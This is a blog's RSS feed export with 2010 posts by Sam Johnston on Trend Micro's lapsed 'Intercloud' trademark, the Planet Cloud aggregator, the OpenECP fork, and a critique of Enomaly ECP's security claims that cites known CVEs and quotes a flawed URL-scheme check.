being the first any of us had heard of i</itunes:summary><itunes:keywords>internet,security,programming,dns,web2,0,enterprise2,0,apple,google,microsoft,linux,unix,saas,networking,free,software,opensource</itunes:keywords><feedburner:origLink>http://samj.net/2010/06/how-i-tried-to-keep-occi-alive-and.html</feedburner:origLink></item><item><title>Trend Micro abandons Intercloud™ trademark application</title><link>http://feedproxy.google.com/~r/samj/~3/ev8XAF8W-lE/trend-micro-abandons-intercloud.html</link><category>cloud</category><category>standards</category><category>intercloud</category><category>trademark</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Mon, 15 Feb 2010 14:15:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-1416885516940268559</guid><description>&lt;p style="clear: both"&gt;Just when I thought we were going to be looking at another trademark debacle not unlike Dell's attempt at "cloud computing" back in 2008 (see &lt;a href="http://www.theregister.co.uk/2008/08/18/dell_cloud_computing_denied/"&gt;Dell cloud computing™ denied&lt;/a&gt;) it seems luck is with us in that &lt;a href="http://www.trendmicro.com/"&gt;Trend Micro&lt;/a&gt; have abandoned their application &lt;a href="http://tarr.uspto.gov/servlet/tarr?regser=serial&amp;amp;entry=77018125"&gt;#77018125&lt;/a&gt; for a trademark on the term &lt;a href="http://en.wikipedia.org/wiki/Intercloud"&gt;Intercloud&lt;/a&gt; (see &lt;a href="http://samj.net/2009/07/newsflash-trend-micro-trademarks.html"&gt;NewsFlash: Trend Micro trademarks the Intercloud™&lt;/a&gt;). They had until 5 February 2010 to file for an extension and according to USPTO's &lt;a href="http://tmportal.uspto.gov/external/portal/tow?SRCH=Y&amp;amp;isSubmitted=true&amp;amp;details=&amp;amp;SELECT=US+Serial+No&amp;amp;TEXT=77018125"&gt;Trademark Document Retrieval&lt;/a&gt; system they have now well and truly missed the date (the last extension was submitted at the 11th hour, at 6pm on the eve of expiry).&lt;/p&gt;&lt;p style="clear: both"&gt;Like Dell, Trend Micro were issued a "Notice of Allowance" on 5 August 2008 (actually Dell's "Notice of Allowance" for &lt;a href="http://tarr.uspto.gov/servlet/tarr?regser=serial&amp;amp;entry=77139082"&gt;#77139082&lt;/a&gt; was issued less than a month before, on 8 July 2008, and cancelled just afterwards, on 7 August 2008). Unlike Dell though, Trend Micro just happened to be in the right place at the right time rather than attempting to lay claim to an existing, rapidly developing technology term ("cloud computing").&lt;/p&gt;&lt;p style="clear: both"&gt;Having been issued a Notice of Allowance both companies just had to submit a Statement of Use and the trademarks were theirs. With Dell it was just lucky that I happened to discover and reveal their application during this brief window (after which the USPTO cancelled their application following widespread uproar), but with Trend Micro it's likely they don't actually have a product today with which to use the trademark.&lt;/p&gt;&lt;p style="clear: both"&gt;A similar thing happened to &lt;a href="http://www.psionteklogix.com/"&gt;Psion&lt;/a&gt; late 2008, who couldn't believe their luck when the term "&lt;a href="http://en.wikipedia.org/wiki/Netbook"&gt;netbook&lt;/a&gt;" became popular long after they had discontinued their product line by the same name. Having realised they still held an active trademark, they threatened all and sundry over it, eventually &lt;a href="http://arstechnica.com/gadgets/news/2009/03/psion-countersues-flames-intel-for-unclean-hands.ars"&gt;claiming&lt;/a&gt; Intel had "unclean hands" and asking for $1.2bn, only to &lt;a href="http://news.cnet.com/8301-1001_3-10253210-92.html"&gt;back down&lt;/a&gt; when push came to shove. One could argue that as we have "&lt;a href="http://en.wikipedia.org/wiki/Submarine_patent"&gt;submarine patents&lt;/a&gt;", we also have "submarine trademarks".&lt;/p&gt;&lt;p style="clear: both"&gt;In this case, back on September 25, 2006 Trend Micro announced a product coincidentally called "InterCloud" (see &lt;a href="http://trendmicro.mediaroom.com/index.php?s=43&amp;amp;item=53"&gt;Trend Micro Takes Unprecedented Approach to Eliminating Botnet Threats with the Unveiling of InterCloud Security Service&lt;/a&gt;), which they claimed was "&lt;em&gt;the industry’s most advanced solution for identifying botnet activity and offering customers the ability to quarantine and optionally clean bot-infected PCs&lt;/em&gt;". Today's &lt;strong&gt;Intercloud is a global cloud of clouds&lt;/strong&gt;, in the same way that the &lt;strong&gt;Internet is a global network of networks&lt;/strong&gt; - clearly nothing like what Trend Micro had in mind. It's also both descriptive (a portmanteau describing &lt;u&gt;inter&lt;/u&gt;connected &lt;u&gt;cloud&lt;/u&gt;s) and generic (in that it cannot serve as a source identifier for a given product or service), which basically means it should be found ineligible for trademark protection should anyone apply again in future.&lt;br /&gt;&lt;br /&gt;Explaining further, the Internet has kept us busy for a few decades simply by passing packets between clients and servers (most of the time). It's analogous to the bare electricity grid, allowing connected nodes to transfer electrical energy between one another (typically from generators to consumers but with alternative energy sometimes consumers are generators too). Cloud computing is like adding massive, centralised power stations to the electricity grid, essentially giving it a life of its own.&lt;/p&gt;&lt;p style="clear: both"&gt;I like the term Intercloud, mainly because it takes the focus away from the question of "What is cloud?", instead drawing attention to interoperability and standards where it belongs. Kudos to Trend Micro for this [in]action - whether intentional or unintentional.&lt;/p&gt;&lt;br class='final-break' style='clear: both' /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-1416885516940268559?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=ev8XAF8W-lE:katFB0lENUs:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=ev8XAF8W-lE:katFB0lENUs:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=ev8XAF8W-lE:katFB0lENUs:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=ev8XAF8W-lE:katFB0lENUs:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=ev8XAF8W-lE:katFB0lENUs:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=ev8XAF8W-lE:katFB0lENUs:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=ev8XAF8W-lE:katFB0lENUs:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=ev8XAF8W-lE:katFB0lENUs:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=ev8XAF8W-lE:katFB0lENUs:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/ev8XAF8W-lE" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-15T23:15:00.304+01:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://samj.net/2010/02/trend-micro-abandons-intercloud.html</feedburner:origLink></item><item><title>Introducing Planet Cloud: More signal, less noise.</title><link>http://feedproxy.google.com/~r/samj/~3/N4qCuPRcNtM/introducing-planet-cloud-more-signal.html</link><category>cloud</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Thu, 18 Feb 2010 18:40:53 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-7092062835374671041</guid><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_7biMK_kQerY/S3Hdc6djkNI/AAAAAAAAAds/nq5Oc2ZoPGo/s1600-h/planetcloud-logo-trans.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_7biMK_kQerY/S3Hdc6djkNI/AAAAAAAAAds/nq5Oc2ZoPGo/s1600/planetcloud-logo-trans.png" /&gt;&lt;/a&gt;&lt;/div&gt;As you are no doubt well aware there is a large and increasing amount of noise about &lt;a href="http://en.wikipedia.org/wiki/Cloud_computing"&gt;cloud computing&lt;/a&gt;, so much so that it's becoming increasingly difficult to extract a clean signal. This has always been the case but now that even vendors like Oracle (who have previously been sharply critical of cloud computing, in part for exactly this reason) are clambering aboard the bandwagon, it's nearly impossible to tell who's worth listening to and who's just trying to sell you yesterday's technology under today's label.&lt;br /&gt;
&lt;br /&gt;
It is with this in mind that I am happy to announce &lt;a href="http://www.planetcloud.org/"&gt;Planet Cloud&lt;/a&gt;, a news aggregator for cloud computing articles that is particularly fussy about its sources. In particular, unless you talk all cloud, all the time (which is rare - even I take a break every once in a while) then your posts won't be included unless you can provide a cloud-specific feed. Fortunately most blogging software supports this capability and many of the feeds included at launch take advantage of it. You can access Planet Cloud at:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;a href="http://www.planetcloud.org/"&gt;http://www.planetcloud.org/&lt;/a&gt;&amp;nbsp;or &lt;a href="http://twitter.com/planetcloud"&gt;@planetcloud&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;
Those of you aware of my disdain for &lt;a href="http://aralbalkan.com/2284"&gt;SYS-CON's antics&lt;/a&gt; might be surprised that we've opted to ask for forgiveness rather than permission, but you'll also notice that we don't run ads (nor do we have any plans to - except for a few that come to us via feeds and are thus paid to authors). As such this is a non-profit service to the cloud computing community intended filter out much of the noise in the same way that the &lt;a href="http://twitter.com/clouderati"&gt;Clouderati&lt;/a&gt;&amp;nbsp;provides an fast track to the heart of the cloud computing discussion on Twitter. An unwanted side effect of this approach is that it is not possible for us to offer the feeds under a &lt;a href="http://creativecommons.org/"&gt;Creative Commons&lt;/a&gt; license, as would usually be the case for content we own.&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: left;"&gt;Many thanks to &lt;a href="http://www.timfreeman.org/"&gt;Tim Freeman&lt;/a&gt; (&lt;a href="http://twitter.com/timfaas"&gt;@timfaas&lt;/a&gt;) for his contribution not only of the &lt;a href="http://planetcloud.org/"&gt;planetcloud.org&lt;/a&gt; domain itself, but also of a comprehensive initial list of feeds (including many I never would have thought of myself). Thanks also to &lt;a href="http://www.rackspacecloud.com/"&gt;Rackspace Cloud&lt;/a&gt; who provide our hosting and who have done a great job of keeping the site alive during the testing period over the last few weeks. Thanks to the&amp;nbsp;&lt;a href="http://www.planetplanet.org/"&gt;Planet&lt;/a&gt;&amp;nbsp;aggregator which is simple but effective Python software for collating many feeds. And finally thanks to the various authors who have [been] volunteered for this project - hopefully we'll be able to drive some extra traffic your way (of course if you're not into it then that's fine too - we'll just remove you from the config file and you'll vanish within 5 minutes).&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-7092062835374671041?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=N4qCuPRcNtM:6NrHB-V8xuA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=N4qCuPRcNtM:6NrHB-V8xuA:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=N4qCuPRcNtM:6NrHB-V8xuA:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=N4qCuPRcNtM:6NrHB-V8xuA:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=N4qCuPRcNtM:6NrHB-V8xuA:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=N4qCuPRcNtM:6NrHB-V8xuA:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=N4qCuPRcNtM:6NrHB-V8xuA:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=N4qCuPRcNtM:6NrHB-V8xuA:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=N4qCuPRcNtM:6NrHB-V8xuA:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/N4qCuPRcNtM" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-19T03:40:53.855+01:00</app:edited><media:thumbnail url="http://1.bp.blogspot.com/_7biMK_kQerY/S3Hdc6djkNI/AAAAAAAAAds/nq5Oc2ZoPGo/s72-c/planetcloud-logo-trans.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://samj.net/2010/02/introducing-planet-cloud-more-signal.html</feedburner:origLink></item><item><title>Announcing OpenECP: Open Elastic Computing Platform</title><link>http://feedproxy.google.com/~r/samj/~3/TwZnNuHKp0c/announcing-openecp-open-elastic.html</link><category>cloud</category><category>openecp</category><category>enomaly</category><category>security</category><category>opensource</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Mon, 15 Feb 2010 17:20:52 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-3979222388957135810</guid><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.openecp.org/"&gt;&lt;img border="0" height="531" src="http://1.bp.blogspot.com/_7biMK_kQerY/S3DB7TVQbnI/AAAAAAAAAdo/whs3qJUEIdM/s640/openecp-screenshot.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;I am pleased to announce the immediate availability of the &lt;a href="http://www.openecp.org/"&gt;Open Elastic Computing Platform (OpenECP)&lt;/a&gt;&amp;nbsp;Version 4.0 Alpha (&lt;a href="http://sourceforge.net/projects/openecp/files/openecp-4.0alpha.tar.gz/download"&gt;openecp-4.0alpha.tar.gz&lt;/a&gt;), provisionally tested on &lt;a href="http://www.debian.org/"&gt;Debian GNU/Linux 5.0&lt;/a&gt;&amp;nbsp;(&lt;a href="http://www.openecp.org/screenshots/"&gt;screenshots&lt;/a&gt;). This is an &lt;a href="http://www.opensource.org/"&gt;open source&lt;/a&gt; fork of the &lt;a href="http://www.enomaly.com/"&gt;Enomaly ECP&lt;/a&gt;&amp;nbsp;product following its abrupt commercialisation in November 2009, which resolves a number of &lt;a href="http://samj.net/2010/02/private-cloud-security-is-no-security.html"&gt;serious security vulnerabilities&lt;/a&gt;. For more information refer to:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;a href="http://www.openecp.org/"&gt;http://www.openecp.org/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;a href="http://www.openecp.org/"&gt;OpenECP&lt;/a&gt; is a web-based management platform for Linux-based hypervisors including KVM and Xen which can be used to create "public" and "private" cloud computing environments.&lt;br /&gt;
&lt;br /&gt;
It will always be freely available under the &lt;a href="http://www.fsf.org/licensing/licenses/agpl-3.0.html"&gt;Affero General Public License v3&lt;/a&gt; or similar.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Features&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Xen, KVM, Qemu, OpenVZ, Amazon EC2 support&lt;/li&gt;
&lt;li&gt;Multiple OpenECP server support&lt;/li&gt;
&lt;li&gt;RESTful Web Services API&lt;/li&gt;
&lt;li&gt;Dashboard with metering, chargeback&lt;/li&gt;
&lt;li&gt;Automated virtual machine (VM) deployment&lt;/li&gt;
&lt;/ul&gt;&lt;b&gt;Support&lt;/b&gt;&lt;br /&gt;
Technical support is provided by the community, however as an open source product anyone is free to support and extend it.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Background&lt;/b&gt;&lt;br /&gt;
This release was forked from the most recent version of Enomaly ECP as at 2010-02-09 (3.0.4 with a number of additional revisions), as distributed under the Affero GPL v3 by Enomaly, Inc. In order to avoid any potential intellectual property issues, all references to Enomaly™ have been scrubbed from the distribution (in the same way that references to RedHat have been purged from CentOS).&lt;br /&gt;
&lt;br /&gt;
The unmodified Enomaly ECP code (&lt;a href="https://sourceforge.net/projects/openecp/files/enomaly-ecp/enomaly-ecp-3.0.4.1.tar.gz/download"&gt;enomaly-ecp-3.0.4.1.tar.gz&lt;/a&gt;) is also available along with a non-maintainer release which resolves all known security issues (&lt;a href="https://sourceforge.net/projects/openecp/files/enomaly-ecp/enomaly-ecp-3.0.4.2.tar.gz/download"&gt;enomaly-ecp-3.0.4.2.tar.gz&lt;/a&gt;) as it appears that Enomaly have no plans to address these outstanding issues.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update&lt;/b&gt;: Enomaly have &lt;a href="http://src.enomaly.com/"&gt;responded&lt;/a&gt; with this comparison chart (however&amp;nbsp;&lt;a href="http://samj.pastebin.com/f4bcc4080"&gt;this changelog&lt;/a&gt; proves a common lineage):&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_7biMK_kQerY/S3nyzHkcbKI/AAAAAAAAAd0/WD0f9sPzMQ8/s1600-h/Picture%206.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://1.bp.blogspot.com/_7biMK_kQerY/S3nyzHkcbKI/AAAAAAAAAd0/WD0f9sPzMQ8/s640/Picture%206.png" width="484" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-3979222388957135810?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=TwZnNuHKp0c:H-sXL2mckC0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=TwZnNuHKp0c:H-sXL2mckC0:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=TwZnNuHKp0c:H-sXL2mckC0:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=TwZnNuHKp0c:H-sXL2mckC0:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=TwZnNuHKp0c:H-sXL2mckC0:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=TwZnNuHKp0c:H-sXL2mckC0:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=TwZnNuHKp0c:H-sXL2mckC0:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=TwZnNuHKp0c:H-sXL2mckC0:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=TwZnNuHKp0c:H-sXL2mckC0:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/TwZnNuHKp0c" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-16T02:20:52.595+01:00</app:edited><media:thumbnail url="http://1.bp.blogspot.com/_7biMK_kQerY/S3DB7TVQbnI/AAAAAAAAAdo/whs3qJUEIdM/s72-c/openecp-screenshot.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><enclosure url="http://sourceforge.net/projects/openecp/files/openecp-4.0alpha.tar.gz/download" length="2634034" type="application/x-gzip" /><media:content url="http://sourceforge.net/projects/openecp/files/openecp-4.0alpha.tar.gz/download" fileSize="2634034" type="application/x-gzip" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>I am pleased to announce the immediate availability of the Open Elastic Computing Platform (OpenECP)&amp;nbsp;Version 4.0 Alpha (openecp-4.0alpha.tar.gz), provisionally tested on Debian GNU/Linux 5.0&amp;nbsp;(screenshots). This is an open source fork of the Enom</itunes:subtitle><itunes:author>Sam Johnston</itunes:author><itunes:summary>I am pleased to announce the immediate availability of the Open Elastic Computing Platform (OpenECP)&amp;nbsp;Version 4.0 Alpha (openecp-4.0alpha.tar.gz), provisionally tested on Debian GNU/Linux 5.0&amp;nbsp;(screenshots). This is an open source fork of the Enomaly ECP&amp;nbsp;product following its abrupt commercialisation in November 2009, which resolves a number of serious security vulnerabilities. For more information refer to: http://www.openecp.org/OpenECP is a web-based management platform for Linux-based hypervisors including KVM and Xen which can be used to create "public" and "private" cloud computing environments. It will always be freely available under the Affero General Public License v3 or similar. Features Xen, KVM, Qemu, OpenVZ, Amazon EC2 support Multiple OpenECP server support RESTful Web Services API Dashboard with metering, chargeback Automated virtual machine (VM) deployment Support Technical support is provided by the community, however as an open source product anyone is free to support and extend it. Background This release was forked from the most recent version of Enomaly ECP as at 2010-02-09 (3.0.4 with a number of additional revisions), as distributed under the Affero GPL v3 by Enomaly, Inc. In order to avoid any potential intellectual property issues, all references to Enomaly™ have been scrubbed from the distribution (in the same way that references to RedHat have been purged from CentOS). The unmodified Enomaly ECP code (enomaly-ecp-3.0.4.1.tar.gz) is also available along with a non-maintainer release which resolves all known security issues (enomaly-ecp-3.0.4.2.tar.gz) as it appears that Enomaly have no plans to address these outstanding issues. Update: Enomaly have responded with this comparison chart (however&amp;nbsp;this changelog proves a common lineage): </itunes:summary><itunes:keywords>internet,security,programming,dns,web2,0,enterprise2,0,apple,google,microsoft,linux,unix,saas,networking,free,software,opensource</itunes:keywords><feedburner:origLink>http://samj.net/2010/02/announcing-openecp-open-elastic.html</feedburner:origLink></item><item><title>Private cloud security is no security at all</title><link>http://feedproxy.google.com/~r/samj/~3/fFk-HPPMohk/private-cloud-security-is-no-security.html</link><category>cloud</category><category>enomaly</category><category>security</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Sun, 21 Feb 2010 08:42:08 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-7604910184753942722</guid><description>It's ironic that the purveyors of "Private Cloud" sell their wares on the premise of enhanced privacy and security - a totally unjustified claim which is too often accepted without question - and that they are quick to dismiss the huge benefit of the armies of security boffins employed by "public" cloud vendors (whose future is largely dependent on keeping customer data safe). It's also very convenient for them that the term itself is disparaging of "public" cloud in the same way that "&lt;a href="http://www.blogwithintegrity.com/badge.php"&gt;Blog With Integrity&lt;/a&gt;" badges imply that the rest of us are somehow unethical (one of the main reasons I personally have and will always dislike[d] it).&lt;br /&gt;
&lt;br /&gt;
It is with that in mind that I was intrigued by &lt;a href="http://twitter.com/ruv"&gt;Reuven Cohen&lt;/a&gt;'s &lt;a href="http://www.elasticvapor.com/2010/02/enomaly-intel-participate-in-new-cloud.html"&gt;announcement today&lt;/a&gt; regarding &lt;a href="http://www.enomaly.com/"&gt;Enomaly, Inc.&lt;/a&gt; having recently joined the &lt;a href="http://communities.intel.com/docs/DOC-4292"&gt;Intel Cloud Builder Program&lt;/a&gt; (whatever that is). It was these two quotes that I found particularly questionable regarding their Enomaly ECP product:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;&lt;i&gt;Intel was among the first to full(sic) understand the opportunity in enabling a &lt;b&gt;truly secure&lt;/b&gt; virtualized cloud computing environments(sic) for service providers and Telco's.&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;Our work with the Intel Cloud Builder Program will help to accelerate our efforts to deliver a massively-scalable, &lt;b&gt;highly-available, high-security&lt;/b&gt; cloud platform to our customers.&lt;/i&gt;&lt;/li&gt;
&lt;/ol&gt;The reason I'm naturally suspicious of such claims is that I've already discovered a handful of critical security vulnerabilities in this product (and that's without even having to look beyond the startup script - a secure-by-default turbogears component that was made insecure through inexplicable modifications):&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;&lt;a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-4990"&gt;CVE-2008-4990 Enomaly ECP/Enomalism: Insecure temporary file creation vulnerabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0390"&gt;CVE-2009-0390: Argument injection vulnerability in Enomaly Elastic Computing Platform (ECP)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://seclists.org/bugtraq/2009/Feb/142"&gt;Enomaly ECP/Enomalism: Multiple vulnerabilities in enomalism2.sh (redux)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;I had to dig a little (but not much) deeper for the &lt;a href="http://seclists.org/bugtraq/2009/Feb/123"&gt;silent update remote command execution vulnerability&lt;/a&gt;. I also inadvertently discovered &lt;a href="http://samj.net/2009/08/twitter-pro-best-buys-twelpforce-is.html"&gt;another serious security vulnerability&lt;/a&gt; (sending corporate BestBuy credentials in the clear over the Internet to a &lt;a href="http://bbyconnect.appspot.com/"&gt;3rd party service&lt;/a&gt;), which as it turns out was also developed by Enomaly, Inc. It's only natural that I would be suspicious of any future security claims made by this company.&lt;br /&gt;
&lt;br /&gt;
It doesn't help my sentiment either that every last trace of the Open Source &lt;a href="http://sourceforge.net/projects/enomalism/"&gt;ECP Community Edition&lt;/a&gt; was recently scrubbed from the Internet without notice, &lt;a href="http://groups.google.com/group/enomalism/msg/6146263e5c089b8d"&gt;leaving&lt;/a&gt; &lt;a href="http://groups.google.com/group/enomalism/msg/15644b997198af41"&gt;angry&lt;/a&gt; &lt;a href="http://groups.google.com/group/enomalism/msg/bfc55878ee3786a3"&gt;customers&lt;/a&gt; &lt;a href="http://groups.google.com/group/enomalism/msg/99984bfeab33afc2"&gt;high&lt;/a&gt; &lt;a href="http://groups.google.com/group/enomalism/msg/5796df922d2583f5"&gt;and&lt;/a&gt; &lt;a href="http://groups.google.com/group/enomalism/msg/894231c4f8c5cfeb"&gt;dry&lt;/a&gt;, purportedly pending the "rejigging [of their] OSS strategy". While my previous attempts to fork the product as &lt;a href="http://sourceforge.net/projects/freenomalism/"&gt;Freenomalism&lt;/a&gt; failed when we were unable to get the daemon to start, having the code in any condition is better than not having it at all. In my opinion this is little more than blatantly (and successfully I might add) taking advantage of the &lt;a href="http://opensource.org/"&gt;Open Source&lt;/a&gt; community for as long as necessary to get the product into the limelight. Had they not filled this void others would certainly have done so, and the &lt;a href="http://opencloud.googlecode.com/svn/trunk/oci/ocp/open-cloud-principles.html"&gt;Open Cloud&lt;/a&gt; would be better off today as a result.&lt;br /&gt;
&lt;br /&gt;
As part of cloud standards work I was interested in taking a look at the "secure" mechanism they developed for distributing virtual machines:&lt;br /&gt;
&lt;blockquote&gt;&lt;i&gt;&lt;a href="http://www.vmcasting.org/"&gt;VMcasting&lt;/a&gt; is an automatic virtual machine deployment mechanism based on RSS2.0 whereby virtual machine images are transferred from a server to a client which &lt;b&gt;securely delivers&lt;/b&gt; files containing a technical specification and virtual disk image.&lt;/i&gt;&lt;/blockquote&gt;Another bold claim that initially appeared justified by a simple but relatively sensible embedding of crytpographically strong checksums into descriptor and manifest files that were in turn digitally signed using GPG. Unfortunately no consideration was given to the secure retrieval of the archive itself (nor the RSS feed listing the archives for that matter), nor were signatures actually required by the specification, meaning that it would be trivial for an attacker to insert their own unsigned packages and/or replace existing signed packages with modified, unsigned ones. Or replaying an older, signed version of an insecure workload for that matter.&lt;br /&gt;
&lt;br /&gt;
Fortunately an attacker need not even go to these lengths as despite acknowledging the need for digital signatures in the &lt;a href="http://www.vmcasting.org/vmcastingspec/"&gt;VMcasting specification&lt;/a&gt;, none of the security features appear to have been implemented in Enomaly ECP itself. Worse still, it won't even let you use SSL if you're sensible enough to try:&lt;br /&gt;
&lt;blockquote&gt;&lt;pre&gt;if url[0].lower not in ("http", "ftp"):
raise E2UndefinedError(_("Unknown scheme in package URL."))&lt;/pre&gt;&lt;/blockquote&gt;Think you're safe if you keep everything on your own network (that's the whole point, right?). Don't be so sure, as the vmfeed module quietly registers these HTTP URLs for you:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;code&gt;http://enomalism.com/vmcast_appliances.php&lt;/code&gt; [&lt;a href="http://samj.pastebin.com/fb87b349"&gt;archived copy&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://enomalism.com/vmcast_modules.php&lt;/code&gt; [&lt;a href="http://samj.pastebin.com/f7c015faa"&gt;archived copy&lt;/a&gt;]&lt;/li&gt;
